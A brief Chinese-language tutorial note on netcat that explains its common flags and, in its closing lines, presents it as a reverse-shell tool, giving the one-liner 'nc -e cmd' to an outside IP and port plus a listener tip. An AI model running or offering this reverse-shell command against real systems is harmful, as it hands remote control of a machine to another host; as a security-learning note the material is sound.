nc是netcat的简写,有着网络界的瑞士军刀美誉。该工具简单直接,素有此荣誉称号。
常见参数:
-l
用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
-p
port,暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
-s
source,指定发送数据的源IP地址
-u
UDP,指定nc使用UDP协议,默认为TCP
-v
输出交互或出错信息,新手调试时尤为有用
-w
表示wait,超时秒数,后面跟数字
-z
表示zero,表示扫描时不发送任何数据
基础使用,常在反弹shell时使用该工具。
例如,nc -e cmd 47.94.236.117 5566(把cmd权限交给指定主机)
配合lvvp参数使用体验更佳,监听指定端口从而看shell的效果。